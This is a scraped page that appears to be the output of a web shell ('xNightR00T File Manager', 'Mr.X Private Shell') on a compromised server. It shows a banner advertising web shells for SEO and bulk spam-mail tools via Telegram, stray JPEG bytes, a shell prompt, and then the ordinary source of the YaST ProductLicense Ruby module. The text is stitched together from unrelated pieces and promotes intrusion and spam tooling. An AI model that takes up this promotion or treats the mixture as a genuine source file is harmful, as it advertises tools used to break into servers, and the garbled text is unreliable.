xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	ProductLicense.ycp
#
# Module:	ProductLicense
#
# Summary:	Provide access / dialog for product license
#
# Author:	Jiri Srain <jsrain@suse.cz>
#		Lukas Ocilka <locilka@suse.cz>
#
require "yast"
require "uri"

module Yast
  class ProductLicenseClass < Module
    attr_accessor :license_patterns, :license_file_print

    include Yast::Logger

    DOWNLOAD_URL_SCHEMA = ["http", "https", "ftp"]

    def main
      Yast.import "Pkg"
      Yast.import "UI"

      Yast.import "Directory"
      Yast.import "InstShowInfo"
      Yast.import "Language"
      Yast.import "Popup"
      Yast.import "Report"
      Yast.import "Stage"
      Yast.import "Wizard"
      Yast.import "Mode"
      Yast.import "FileUtils"
      Yast.import "ProductFeatures"
      Yast.import "String"
      Yast.import "WorkflowManager"
      Yast.import "Progress"

      # IMPORTANT: maintainer of yast2-installation is responsible for this module

      textdomain "packager"

      @license_patterns = [
        "license\\.html",
        "license\\.%1\\.html",
        "license\\.htm",
        "license\\.%1\\.htm",
        "license\\.txt",
        "license\\.%1\\.txt"
      ]
      # no more wildcard patterns here, UI can display only html and txt anyway

      initialize_default_values
    end

    # (Re)Initializes all internal caches
    def initialize_default_values
      # All licenses have their own unique ID
      @license_ids = []

      # License files by their eula_ID
      #
      # **Structure:**
      #
      #     $["ID":$[licenses]]
      @all_licenses = {}

      # filename printed in the license dialog
      @license_file_print = nil
      # license file is on installed system
      @license_on_installed_system = false

      # BNC #448598
      # no-acceptance-needed file in license.tar.gz means the license
      # doesn't have to be accepted by user, just displayed
      @license_acceptance_needed = {}

      @tmpdir = nil
      @license_dir = nil
      @info_file = nil

      @lic_lang = ""

      # FIXME: map <string, boolean> ...
      @info_file_already_seen = {}
    end

    # Checks the string that might contain ID of a license and
    # eventually returns that id.
    # See also GetIdPlease for a better ratio of successful stories.
    def GetId(id_text)
      id = nil

      if Builtins.regexpmatch(id_text, "^license_language_.+")
        id = Builtins.regexpsub(id_text, "^license_language_(.+)", "\\1")
      else
        Builtins.y2error("Cannot get ID from %1", id_text)
      end

      id
    end

    # Helper func. Cuts encoding suffix off the LANG
    # env. variable i.e. foo_BAR.UTF-8 => foo_BAR
    def EnvLangToLangCode(env_lang)
      tmp = []
      tmp = Builtins.splitstring(env_lang, ".@") if env_lang != nil

      Ops.get(tmp, 0, "")
    end

    # Sets that the license (file) has been already accepted
    #
    # @param [String] license_ident file name
    def LicenseHasBeenAccepted(license_ident)
      if license_ident == nil || license_ident == ""
        Builtins.y2error("Wrong license ID '%1'", license_ident)
        return
      end

      nil
    end

    def WhichLicenceFile(license_language, licenses)
      license_file = Ops.get(licenses.value, license_language, "")

      if license_file == nil || license_file == ""
        Builtins.y2error(
          "No license file defined for language '%1' in %2",
          license_language,
          licenses.value
        )
      else
        Builtins.y2milestone("Using license file: %1", license_file)
      end

      license_file
    end

    def GetLicenseContent(lic_lang, licenses, id)
      license_file = (
        licenses_ref = arg_ref(licenses.value);
        _WhichLicenceFile_result = WhichLicenceFile(lic_lang, licenses_ref);
        licenses.value = licenses_ref.value;
        _WhichLicenceFile_result
      )

      license_text = Convert.to_string(
        SCR.Read(path(".target.string"), license_file)
      )
      if license_text == nil
        if Mode.live_installation
          license_text = Builtins.sformat(
            "<b>%1</b><br>%2",
            Builtins.sformat(_("Cannot read license file %1"), license_file),
            _(
              "To show the product license properly, put the license.tar.gz file to the root of the live media when building the image."
            )
          )
        else
          Report.Error(
            Builtins.sformat(_("Cannot read license file %1"), license_file)
          )
          license_text = ""
        end
      end
      rt = Empty()

      # License is HTML (or RichText)
      if Builtins.regexpmatch(license_text, "</.*>")
        rt = MinWidth(
          80,
          RichText(Id(Builtins.sformat("welcome_text_%1", id)), license_text)
        )
      else
        # License is plain text
        # details in BNC #449188
        rt = MinWidth(
          80,
          RichText(
            Id(Builtins.sformat("welcome_text_%1", id)),
            Ops.add(Ops.add("<pre>", String.EscapeTags(license_text)), "</pre>")
          )
        )
      end

      deep_copy(rt)
    end


    def GetLicenseDialogTerm(languages, license_language, licenses, id)
      languages = deep_copy(languages)
      license_text = ""
      rt = (
        licenses_ref = arg_ref(licenses.value);
        _GetLicenseContent_result = GetLicenseContent(
          license_language,
          licenses_ref,
          id
        );
        licenses.value = licenses_ref.value;
        _GetLicenseContent_result
      )

      # bug #204791, no more "languages.ycp" client
      lang_names_orig = Language.GetLanguagesMap(false)
      if lang_names_orig == nil
        Builtins.y2error("Wrong definition of languages")
        lang_names_orig = {}
      end

      lang_names = {}

      # $[ "en" : "English (US)", "de" : "Deutsch" ]
      lang_names = Builtins.mapmap(lang_names_orig) do |code, descr|
        { code => Ops.get_string(descr, 4, "") }
      end

      # for the default fallback
      if Ops.get(lang_names, "") == nil
        # language name
        Ops.set(
          lang_names,
          "",
          Ops.get_string(lang_names_orig, ["en_US", 4], "")
        )
      end

      if Ops.get(lang_names, "en") == nil
        # language name
        Ops.set(
          lang_names,
          "en",
          Ops.get_string(lang_names_orig, ["en_US", 4], "")
        )
      end

      lang_pairs = Builtins.maplist(languages) do |l|
        name_print = Ops.get(lang_names, l, "")
        if name_print == ""
          # TODO FIXME: the language code might be longer than 2 characters,
          # e.g. "ast_ES"
          l_short = Builtins.substring(l, 0, 2)

          Builtins.foreach(lang_names) do |k, v|
            if Builtins.substring(k, 0, 2) == l_short
              name_print = v
              next true
            end
            false
          end
        end
        [l, name_print]
      end

      # filter-out languages that don't have any name
      lang_pairs = Builtins.filter(lang_pairs) do |lang_pair|
        if Ops.get(lang_pair, 1, "") == ""
          Builtins.y2warning(
            "Unknown license language '%1', filtering out...",
            lang_pair
          )
          next false
        else
          next true
        end
      end

      lang_pairs = Builtins.sort(lang_pairs) do |a, b|
        # bnc#385172: must use < instead of <=, the following means:
        # strcoll(x) <= strcoll(y) && strcoll(x) != strcoll(y)
        lsorted = Builtins.lsort([Ops.get(a, 1, ""), Ops.get(b, 1, "")])
        lsorted_r = Builtins.lsort([Ops.get(b, 1, ""), Ops.get(a, 1, "")])
        Ops.get_string(lsorted, 0, "") == Ops.get(a, 1, "") &&
          lsorted == lsorted_r
      end
      langs = Builtins.maplist(lang_pairs) do |descr|
        Item(
          Id(Ops.get(descr, 0, "")),
          Ops.get(descr, 1, ""),
          Ops.get(descr, 0, "") == license_language
        )
      end

      lang_selector_options = Opt(:notify)
      # Disable in case there is no language to select
      # bugzilla #203543
      if Ops.less_or_equal(Builtins.size(langs), 1)
        lang_selector_options = Builtins.add(lang_selector_options, :disabled)
      end

      @license_ids = Builtins.toset(Builtins.add(@license_ids, id))

      VBox(
        # combo box
        Left(
          ComboBox(
            Id(Builtins.sformat("license_language_%1", id)),
            lang_selector_options,
            _("&Language"),
            langs
          )
        ),
        ReplacePoint(Id(Builtins.sformat("license_contents_rp_%1", id)), rt)
      )
    end

    # Returns source ID of the base product - initial installation only!
    # If no sources are found, returns 0.
    # FIXME: Connected to bsc#993285, refactoring needed
    #
    # return [Integer] base_product_id or 0
    def base_product_id
      raise "Base product can be only found in installation" unless Stage.initial

      # The first product in the list of known products
      # 0 is the backward-compatible default value, first installation repo always
      # gets this ID later
      current_sources = Pkg.SourceGetCurrent(true)
      current_sources.any? ? current_sources.first : 0
    end

    # Returns whether accepting the license manually is requied.
    #
    # @see BNC #448598
    # @param [Any] id unique ID
    # @return [Boolean] if required
    def AcceptanceNeeded(id)
      # FIXME: lazy loading of the info about licenses, bigger refactoring needed
      # @see bsc#993285
      #
      # In the initial installation, for base product, acceptance_needed needs
      # to be known before showing the license dialog (inst_complex_welcome).
      # Loading the info is handled internally in other cases.
      #
      # id can be a string (currently is) when called from inst_complex_welcome
      if !@license_acceptance_needed.key?(id) &&
          Stage.initial &&
          id.to_s == base_product_id.to_s
        # Although we know the base product ID, the function below expects
        # id to be nil for base product in inital installation
        GetSourceLicenseDirectory(nil, "/")
        cache_license_acceptance_needed(id, @license_dir)
      end

      if @license_acceptance_needed.key?(id)
        @license_acceptance_needed[id]
      else
        log.warn "SetAcceptanceNeeded(#{id}) should be called first, using default 'true'"
        true
      end
    end

    # Sets whether explicit acceptance of a license is needed
    #
    # @param [Any] id unique ID (often a source ID)
    # @param [Boolean] new_value if needed
    def SetAcceptanceNeeded(id, new_value)
      if new_value == nil
        Builtins.y2error(
          "Undefined behavior (License ID %1), AcceptanceNeeded: %2",
          id,
          new_value
        )
        return
      end

      @license_acceptance_needed[id] = new_value

      if new_value == true
        log.info "License agreement (ID #{id}) WILL be required"
      else
        log.info "License agreement (ID #{id}) will NOT be required"
      end

      nil
    end

    def GetLicenseDialog(languages, license_language, licenses, id, spare_space)
      space = UI.TextMode ? 1 : 3

      license_buttons = VBox(
        VSpacing(spare_space ? 0 : 0.5),
        Left(
          CheckBox(
            Id("eula_#{id}"),
            Opt(:notify),
            # check box label
            _("I &Agree to the License Terms.")
          )
        )
      )

      VBox(
        VSpacing(spare_space ? 0 : 1),
        HBox(
          HSpacing(2 * space),
          VBox(
            GetLicenseDialogTerm(
              languages,
              license_language,
              arg_ref(licenses.value),
              id
            ),
            @license_file_print != nil ?
              Left(
                # FATE #302018
                ReplacePoint(
                  Id(:printing_hint),
                  Label(
                    @license_on_installed_system ?
                      # TRANSLATORS: addition license information
                      # %s is replaced with the directory name
                      _("This EULA can be found in the directory\n%s") % @license_file_print
                    :
                      # TRANSLATORS: addition license information
                      # %s is replaced with the filename
                      _("If you want to print this EULA, you can find it\non the first media in the file %s") %
                      @license_file_print
                  )
                )
              ) :
              Empty(),
            # BNC #448598
            # yes/no buttons exist only if needed
            # if they don't exist, user is not asked to accept the license later
            AcceptanceNeeded(id) ? license_buttons : Empty()
          ),
          HSpacing(2 * space)
        )
      )
    end

    def GetLicenseDialogHelp
      # help text
      _(
        "<p>Read the license agreement carefully and select\n" +
          "one of the available options. If you do not agree to the license agreement,\n" +
          "the configuration will be aborted.</p>\n"
      )
    end

    # Displays License dialog
    def DisplayLicenseDialog(languages, back, license_language, licenses, id)
      # dialog title
      DisplayLicenseDialogWithTitle(languages, back, license_language, licenses, id, _("License Agreement"))
    end

    # Displays License with Help and ( ) Yes / ( ) No radio buttons
    # @param [Array<String>] languages list of license translations
    # @param [Boolean] back enable "Back" button
    # @param [String] license_language default license language
    # @param [Hash<String,String>] licenses licenses (mapping "langugage_code" => "license")
    # @param [String] id unique license ID
    # @param [String] caption dialog title
    def DisplayLicenseDialogWithTitle(languages, back, license_language, licenses, id, caption)
      languages = deep_copy(languages)

      contents = (
        licenses_ref = arg_ref(licenses.value);
        _GetLicenseDialog_result = GetLicenseDialog(
          languages,
          license_language,
          licenses_ref,
          id,
          false
        );
        licenses.value = licenses_ref.value;
        _GetLicenseDialog_result
      )

      Wizard.SetContents(
        caption,
        contents,
        GetLicenseDialogHelp(),
        back,
        # always allow next button, as if not accepted, it will raise popup (bnc#993530)
        true
      )

      # set the initial license download URL
      update_license_location(license_language, licenses)

      Wizard.SetTitleIcon("yast-license")
      Wizard.SetFocusToNextButton

      nil
    end



    # Removes the temporary directory for licenses
    # @param [String] tmpdir temporary directory path
    def CleanUpLicense(tmpdir)
      if tmpdir != nil && tmpdir != "/"
        SCR.Execute(
          path(".target.bash_output"),
          Builtins.sformat("rm -rf '%1'", String.Quote(tmpdir))
        )
      end

      nil
    end

    # Get all files with license existing in specified directory
    # @param [String] dir string directory to look into
    # @param [Array<String>] patterns a list of patterns for the files, regular expressions
    #   with %1 for the language
    # @return a map $[ lang_code : filename ]
    def LicenseFiles(dir, patterns)
      patterns = deep_copy(patterns)
      ret = {}

      return deep_copy(ret) if dir == nil

      files = Convert.convert(
        SCR.Read(path(".target.dir"), dir),
        :from => "any",
        :to   => "list <string>"
      )
      Builtins.y2milestone("All files in license directory: %1", files)

      # no license
      return {} if files == nil

      Builtins.foreach(patterns) do |p|
        if !Builtins.issubstring(p, "%")
          Builtins.foreach(files) do |file|
            #Possible license file names are regexp patterns
            #(see list <string> license_patterns)
            #so we should treat them as such (bnc#533026)
            if Builtins.regexpmatch(file, p)
              Ops.set(ret, "", Ops.add(Ops.add(dir, "/"), file))
            end
          end
        else
          regpat = Builtins.sformat(p, "(.+)")
          Builtins.foreach(files) do |file|
            if Builtins.regexpmatch(file, regpat)
              key = Builtins.regexpsub(file, regpat, "\\1")
              Ops.set(ret, key, Ops.add(Ops.add(dir, "/"), file))
            end
          end
        end
      end
      Builtins.y2milestone("Files containing license: %1", ret)
      deep_copy(ret)
    end

    # Functions for handling different locations of licenses -->


    def UnpackLicenseTgzFileToDirectory(unpack_file, to_directory)
      # License file exists
      if FileUtils.Exists(unpack_file)
        out = Convert.to_map(
          SCR.Execute(
            path(".target.bash_output"),
            Builtins.sformat(
              "\nrm -rf '%1' && mkdir -p '%1' && cd '%1' && tar -xzf '%2'\n",
              String.Quote(to_directory),
              String.Quote(unpack_file)
            )
          )
        )

        # Extracting license failed, cannot accept the license
        if Ops.get_integer(out, "exit", 0) != 0
          Builtins.y2error("Cannot untar license -> %1", out)
          # popup error
          Report.Error(
            _("An error occurred while preparing the installation system.")
          )
          CleanUpLicense(to_directory)
          return false
        end

        # Success
        return true

        # Nothing to unpack
      else
        Builtins.y2error("No such file: %1", unpack_file)
        return false
      end
    end

    def SearchForLicense_FirstStageBaseProduct(src_id, fallback_dir)
      Builtins.y2milestone("Getting license from installation product")

      license_file = "/license.tar.gz"

      if FileUtils.Exists(license_file)
        Builtins.y2milestone("Installation Product has a license")

        @tmpdir = Builtins.sformat(
          "%1/product-license/base-product/",
          Convert.to_string(SCR.Read(path(".target.tmpdir")))
        )

        if UnpackLicenseTgzFileToDirectory(license_file, @tmpdir)
          @license_dir = @tmpdir
          @license_file_print = "license.tar.gz"
        else
          license_file = nil
        end
      else
        Builtins.y2milestone("Installation Product doesn't have a license")

        license_file = nil
      end

      @info_file = "/info.txt" if FileUtils.Exists("/info.txt")

      nil
    end

    def SearchForLicense_LiveCDInstallation(src_id, fallback_dir)
      Builtins.y2milestone("LiveCD License")

      # BNC #594042: Multiple license locations
      license_locations = ["/usr/share/doc/licenses/", "/"]

      @license_dir = nil
      @info_file = nil

      Builtins.foreach(license_locations) do |license_location|
        license_location = Builtins.sformat(
          "%1/license.tar.gz",
          license_location
        )
        if FileUtils.Exists(license_location)
          Builtins.y2milestone("Using license: %1", license_location)
          @tmpdir = Builtins.sformat(
            "%1/product-license/LiveCD/",
            Convert.to_string(SCR.Read(path(".target.tmpdir")))
          )

          if UnpackLicenseTgzFileToDirectory(license_location, @tmpdir)
            @license_dir = @tmpdir
            @license_file_print = "license.tar.gz"
          else
            CleanUpLicense(@tmpdir)
          end
          raise Break
        end
      end

      if @license_dir == nil
        Builtins.y2milestone("No license found in: %1", license_locations)
      end

      Builtins.foreach(license_locations) do |info_location|
        info_location = Builtins.sformat("%1/README.BETA", info_location)
        if FileUtils.Exists(info_location)
          Builtins.y2milestone("Using info file: %1", info_location)
          @info_file = info_location
          raise Break
        end
      end

      if @info_file == nil
        Builtins.y2milestone("No info file found in: %1", license_locations)
      end

      nil
    end

    def SearchForLicense_NormalRunBaseProduct(src_id, fallback_dir)
      Builtins.y2milestone("Using default license directory %1", fallback_dir)

      if FileUtils.Exists(fallback_dir)
        @license_dir = fallback_dir
        @license_file_print = fallback_dir
        @license_on_installed_system = true
      else
        Builtins.y2warning("Fallback dir doesn't exist %1", fallback_dir)
        @license_dir = nil
      end

      @info_file = "/info.txt" if FileUtils.Exists("/info.txt")

      nil
    end

    def SearchForLicense_AddOnProduct(src_id, fallback_dir)
      Builtins.y2milestone("Getting license info from repository %1", src_id)

      @info_file = Pkg.SourceProvideDigestedFile(
        src_id, # optional
        1,
        "/media.1/info.txt",
        true
      )

      # using a separate license directory for all products
      @tmpdir = Builtins.sformat(
        "%1/product-license/%2/",
        Convert.to_string(SCR.Read(path(".target.tmpdir"))),
        src_id
      )

      # FATE #302018 comment #54
      license_file_location = "/license.tar.gz"
      license_file = Pkg.SourceProvideDigestedFile(
        src_id, # optional
        1,
        license_file_location,
        true
      )

      if license_file != nil
        Builtins.y2milestone("Using file %1 with licenses", license_file)

        if UnpackLicenseTgzFileToDirectory(license_file, @tmpdir)
          @license_dir = @tmpdir
          @license_file_print = "license.tar.gz"
        else
          @license_dir = nil
        end

        return
      end

      Builtins.y2milestone(
        "Licenses in %1... not supported",
        license_file_location
      )

      # New format didn't work, try the old one 1stMedia:/media.1/license.zip
      @license_dir = @tmpdir
      license_file = Pkg.SourceProvideDigestedFile(
        src_id, # optional
        1,
        "/media.1/license.zip",
        true
      )

      # no license present
      if license_file == nil
        Builtins.y2milestone("No license present")
        @license_dir = nil
        @tmpdir = nil
        # return from the function
        return
      end

      Builtins.y2milestone("Product has a license")
      out = Convert.to_map(
        SCR.Execute(
          path(".target.bash_output"),
          Builtins.sformat(
            "\nrm -rf '%1' && mkdir -p '%1' && cd '%1' && unzip -qqo '%2'\n",
            String.Quote(@tmpdir),
            String.Quote(license_file)
          )
        )
      )

      # Extracting license failed, cannot accept the license
      if Ops.get_integer(out, "exit", 0) != 0
        Builtins.y2error("Cannot unzip license -> %1", out)
        # popup error
        Report.Error(
          _("An error occurred while preparing the installation system.")
        )
        CleanUpLicense(@tmpdir)
        @license_dir = nil
      else
        @license_dir = @tmpdir
        @license_file_print = "/media.1/license.zip"
      end

      nil
    end

    # Functions for handling different locations of licenses <--

    def GetSourceLicenseDirectory(src_id, fallback_dir)
      Builtins.y2milestone(
        "Searching for licenses... (src_id: %1, fallback_dir: %2, mode: %3, stage: %4)",
        src_id,
        fallback_dir,
        Mode.mode,
        Stage.stage
      )

      @license_file_print = nil

      # Bugzilla #299732
      # Base Product - LiveCD installation
      if Mode.live_installation
        log.info "LiveCD Installation"
        SearchForLicense_LiveCDInstallation(src_id, fallback_dir)

        # Base-product - license not in installation
        #   * Stage is not initial
        #   * source ID is not defined
      elsif !Stage.initial && src_id == nil
        log.info "Base product, not in initial stage"
        SearchForLicense_NormalRunBaseProduct(src_id, fallback_dir)

        # Base-product - first-stage installation
        #   * Stage is initial
        #   * Source ID is not set
        # bugzilla #298342
      elsif Stage.initial && src_id == nil
        log.info "Base product, initial stage"
        SearchForLicense_FirstStageBaseProduct(base_product_id, fallback_dir)

        # Add-on-product license
        #   * Source ID is set
      elsif src_id != nil && Ops.greater_than(src_id, -1)
        log.info "Add-On product"
        SearchForLicense_AddOnProduct(src_id, fallback_dir)

        # Fallback
      else
        Builtins.y2warning(
          "Source ID not defined, using fallback dir '%1'",
          fallback_dir
        )
        @license_dir = fallback_dir
      end

      Builtins.y2milestone(
        "ProductLicense settings: license_dir: %1, tmpdir: %2, info_file: %3",
        @license_dir,
        @tmpdir,
        @info_file
      )

      nil
    end

    # Finds out whether user needs to 'Agree to the license coming from a given source_id'
    #
    # @param [Any] id unique ID
    # @param [String,nil] license_dir path to directory with unpacked licenses
    def cache_license_acceptance_needed(id, license_dir)
      # license_dir can be nil if there is no license present (e.g. DUDs)
      return if license_dir.nil?

      license_acceptance_needed = !FileUtils.Exists("#{license_dir}/no-acceptance-needed")
      SetAcceptanceNeeded(id, license_acceptance_needed)
    end

    def InitLicenseData(src_id, dir, licenses, available_langs, require_agreement, license_ident, id)
      # Downloads and unpacks all licenses for a given source ID
      GetSourceLicenseDirectory(src_id, dir)
      cache_license_acceptance_needed(id, @license_dir)

      licenses.value = LicenseFiles(@license_dir, @license_patterns)

      # all other 'licenses' could be replaced by this one
      Ops.set(@all_licenses, id, licenses.value)

      return :auto if @info_file == nil && Builtins.size(licenses.value) == 0

      # Let's do getenv here. Language::language may not be initialized
      # by now (see bnc#504803, c#28). Language::Language does only
      # sysconfig reading, which is not too useful in cases like
      # 'LANG=foo_BAR yast repositories'
      language = Language.language || EnvLangToLangCode(ENV["LANG"])

      # Preferencies how the client selects from available languages
      langs = [
        language,
        Builtins.substring(language, 0, 2), # "it_IT" -> "it"
        "en_US",
        "en_GB",
        "en",
        ""
      ] # license.txt fallback
      available_langs.value = Builtins.maplist(licenses.value) do |lang, fn|
        lang
      end

      # "en" is the same as "", we don't need to have them both
      if Builtins.contains(available_langs.value, "en") &&
          Builtins.contains(available_langs.value, "")
        Builtins.y2milestone(
          "Removing license fallback '' as we already have 'en'..."
        )
        available_langs.value = Builtins.filter(available_langs.value) do |one_lang|
          one_lang != "en"
        end
      end

      Builtins.y2milestone("Preffered lang: %1", language)
      return :auto if Builtins.size(available_langs.value) == 0 # no license available
      @lic_lang = Builtins.find(langs) { |l| Builtins.haskey(licenses.value, l) }
      @lic_lang = Ops.get(available_langs.value, 0, "") if @lic_lang == nil

      Builtins.y2milestone("Preselected language: '%1'", @lic_lang)

      if @lic_lang == nil
        CleanUpLicense(@tmpdir) if @tmpdir != nil
        return :auto
      end

      # Check whether such license hasn't been already accepted
      # Bugzilla #305503
      license_ident_lang = nil

      # We need to store the original -- not localized license ID (if possible)
      Builtins.foreach(["", "en", @lic_lang]) do |check_this|
        if Builtins.contains(available_langs.value, check_this)
          license_ident_lang = check_this
          Builtins.y2milestone(
            "Using localization '%1' (for license ID)",
            license_ident_lang
          )
          raise Break
        end
      end

      # fallback
      license_ident_lang = @lic_lang if license_ident_lang == nil

      base_license = (
        licenses_ref = arg_ref(licenses.value);
        _WhichLicenceFile_result = WhichLicenceFile(
          license_ident_lang,
          licenses_ref
        );
        licenses.value = licenses_ref.value;
        _WhichLicenceFile_result
      )
      log.info "License needs to be shown"

      # bugzilla #303922
      # src_id == nil (the initial product license)
      if src_id != nil
        # use wizard with steps
        if Stage.initial
          # Wizard::OpenNextBackStepsDialog();
          # WorkflowManager::RedrawWizardSteps();
          Builtins.y2milestone("Initial stage, not opening any window...")
          # use normal wizard
        else
          Wizard.OpenNextBackDialog
        end
      end

      :cont
    end

    # Should have been named 'UpdateLicenseContentBasedOnSelectedLanguage' :->
    def UpdateLicenseContent(licenses, id)
      # read the selected language
      @lic_lang = Convert.to_string(
        UI.QueryWidget(Id(Builtins.sformat("license_language_%1", id)), :Value)
      )
      rp_id = Id(Builtins.sformat("license_contents_rp_%1", id))

      licenses.value = Ops.get(@all_licenses, id, {}) if licenses.value == {}

      if UI.WidgetExists(rp_id)
        UI.ReplaceWidget(
          rp_id,
          (
            licenses_ref = arg_ref(licenses.value);
            _GetLicenseContent_result = GetLicenseContent(
              @lic_lang,
              licenses_ref,
              id
            );
            licenses.value = licenses_ref.value;
            _GetLicenseContent_result
          )
        )
      else
        Builtins.y2error("No such widget: %1", rp_id)
      end

      # update displayed license URL after changing the license translation
      update_license_location(@lic_lang, licenses)

      nil
    end

    def AllLicensesAccepted
      # BNC #448598
      # If buttons don't exist, eula is automatically accepted
      accepted = true
      eula_id = nil

      Builtins.foreach(@license_ids) do |one_license_id|
        if AcceptanceNeeded(one_license_id) != true
          Builtins.y2milestone(
            "License %1 does not need to be accepted",
            one_license_id
          )
          next
        end
        eula_id = Builtins.sformat("eula_%1", one_license_id)
        if UI.WidgetExists(Id(eula_id)) != true
          Builtins.y2error("Widget %1 does not exist", eula_id)
          next
        end

        # All licenses have to be accepted
        license_accepted = UI.QueryWidget(Id(eula_id), :Value)

        Builtins.y2milestone(
          "License %1 accepted: %2",
          eula_id,
          license_accepted
        )

        if !license_accepted
          accepted = false
          raise Break
        end
      end

      accepted
    end

    def AllLicensesAcceptedOrDeclined
      ret = true

      eula_id = nil
      Builtins.foreach(@license_ids) do |one_license_id|
        next if AcceptanceNeeded(one_license_id) != true
        eula_id = Builtins.sformat("eula_%1", one_license_id)
        if UI.WidgetExists(Id(eula_id)) != true
          Builtins.y2error("Widget %1 does not exist", eula_id)
        end
      end

      ret
    end

    def HandleLicenseDialogRet(licenses, base_product, action)
      ret = nil

      while true
        ret = UI.UserInput
        log.info "User ret: #{ret}"

        if ret.is_a?(::String) && ret.start_with?("license_language_")
          licenses_ref = arg_ref(licenses.value)
          UpdateLicenseContent(licenses_ref, GetId(ret))
          licenses.value = licenses_ref.value
          ret = :language
        # bugzilla #303828
        # disabled next button unless yes/no is selected
        elsif ret.is_a?(::String) && ret.start_with?("eula_")
          Wizard.EnableNextButton if AllLicensesAcceptedOrDeclined()
        # Aborting the license dialog
        elsif ret == :abort
          # bnc#886662
          if Stage.initial
            next unless Popup.ConfirmAbort(:painless)
          else
            # popup question
            next unless Popup.YesNo(_("Really abort the add-on product installation?"))
          end

          log.warn "Aborting..."
          break
        elsif ret == :next
          if AllLicensesAccepted()
            log.info "All licenses have been accepted."
            ret = :accepted
            break
          end

          # License declined

          # message is void in case not accepting license doesn't stop the installation
          if action == "continue"
            log.info "action in case of license refusal is continue, not asking user"
            ret = :accepted
            break
          end

          if base_product
            # TODO: refactor to use same widget as in inst_complex_welcome
            # NOTE: keep in sync with inst_compex_welcome client, for grabing its translation
            # mimic inst_complex_welcome behavior see bnc#993530
            refuse_popup_text = Builtins.dgettext(
                                  'installation',
                                  'You must accept the license to install this product'
                                )
            Popup.Message(refuse_popup_text)
            next
          else
            # text changed due to bug #162499
            # TRANSLATORS: text asking whether to refuse a license (Yes-No popup)
            refuse_popup_text = _("Refusing the license agreement cancels the add-on\n" \
              'product installation. Really refuse the agreement?')
            next unless Popup.YesNo(refuse_popup_text)
          end

          log.info "License has been declined."

          case action
          when "refuse"
            ret = :refused
          when "abort"
            ret = :abort
          when "halt"
            # timed ok/cancel popup
            next unless Popup.TimedOKCancel(_("The system is shutting down..."), 10)
            ret = :halt
          else
            log.error "Unknown action #{action}"
            ret = :abort
          end

          break
        elsif ret == :back
          ret = :back
          break
        else
          log.error "Unhandled input: #{ret}"
        end
      end

      log.info "Returning #{ret}"
      ret
    end

    # Generic cleanup
    def CleanUp
      # BNC #581933: All license IDs are cached while the module is in memory.
      # Removing them when leaving the license dialog.
      @license_ids = []

      nil
    end



    # Ask user to confirm license agreement
    # @param [Fixnum,nil] src_id integer repository to get the license from.
    #   If set to 'nil', the license is considered to belong to a base product
    # @param [String] dir string directory to look for the license in if src_id is nil
    #   and not 1st stage installation
    # @param [Array<String>] patterns a list of patterns for the files, regular expressions
    #   with %1 for the language
    # @param [Boolean] enable_back sets the back_button status
    # @param [Boolean] base_product defines whether it is a base or add-on product
    #   true means base product, false add-on product
    # @param [Boolean] require_agreement means that even if the license (or the very same license)
    #   has been already accepetd, ask user to accept it again (because of 'going back'
    #   in the installation proposal).
    # @param [String] id usually source id but it can be any unique id in UI
    def AskLicenseAgreement(src_id, dir, patterns, action, enable_back, base_product, require_agreement, id)
      patterns = deep_copy(patterns)
      @lic_lang = ""
      licenses = {}
      available_langs = []
      license_ident = ""

      init_ret = (
        licenses_ref = arg_ref(licenses);
        available_langs_ref = arg_ref(available_langs);
        license_ident_ref = arg_ref(license_ident);
        _InitLicenseData_result = InitLicenseData(
          src_id,
          dir,
          licenses_ref,
          available_langs_ref,
          require_agreement,
          license_ident_ref,
          id
        );
        licenses = licenses_ref.value;
        available_langs = available_langs_ref.value;
        license_ident = license_ident_ref.value;
        _InitLicenseData_result
      )

      if init_ret == :auto || init_ret == :accepted
        Builtins.y2milestone("Returning %1", init_ret)
        return init_ret
      end

      created_new_dialog = false

      # #459391
      # If a progress is running open another dialog
      if Progress.IsRunning
        Builtins.y2milestone(
          "Some progress is running, opening new dialog for license..."
        )
        Wizard.OpenLeftTitleNextBackDialog
        created_new_dialog = true
      end

      licenses_ref = arg_ref(licenses)

      title = _("License Agreement")

      if src_id
        repo_data = Pkg::SourceGeneralData(src_id)

        if repo_data
          label = repo_data["name"]
          # TRANSLATORS: %s is an extension name
          # e.g. "SUSE Linux Enterprise Software Development Kit"
          title = _("%s License Agreement") % label unless label.empty?
        end
      end

      DisplayLicenseDialogWithTitle(
        available_langs, # license id
        enable_back,
        @lic_lang,
        licenses_ref,
        id,
        title
      )
      licenses = licenses_ref.value

      update_license_archive_location(src_id) if src_id

      # Display info as a popup if exists
      InstShowInfo.show_info_txt(@info_file) if @info_file != nil

      # initial loop
      ret = (
        licenses_ref = arg_ref(licenses);
        _HandleLicenseDialogRet_result = HandleLicenseDialogRet(
          licenses_ref,
          base_product,
          action
        );
        licenses = licenses_ref.value;
        _HandleLicenseDialogRet_result
      )

      if ret == :accepted && license_ident != nil
        # store already accepted license ID
        LicenseHasBeenAccepted(license_ident)
      end

      CleanUpLicense(@tmpdir)

      # bugzilla #303922
      if created_new_dialog || !Stage.initial && src_id != nil
        Wizard.CloseDialog
      end

      CleanUp()

      ret
    end



    # Ask user to confirm license agreement
    # @param [Array<String>] dirs - directories to look for the licenses
    # @param [Array<String>] patterns a list of patterns for the files, regular expressions
    #   with %1 for the language
    # @param [String] action what to do if the license is declined,
    #   can be "continue", "abort" or "halt"
    # @param [Boolean] enable_back sets the back_button status
    # @param [Boolean] base_product defines whether it is a base or add-on product
    #   true means base product, false add-on product
    # @param [Boolean] require_agreement means that even if the license (or the very same license)
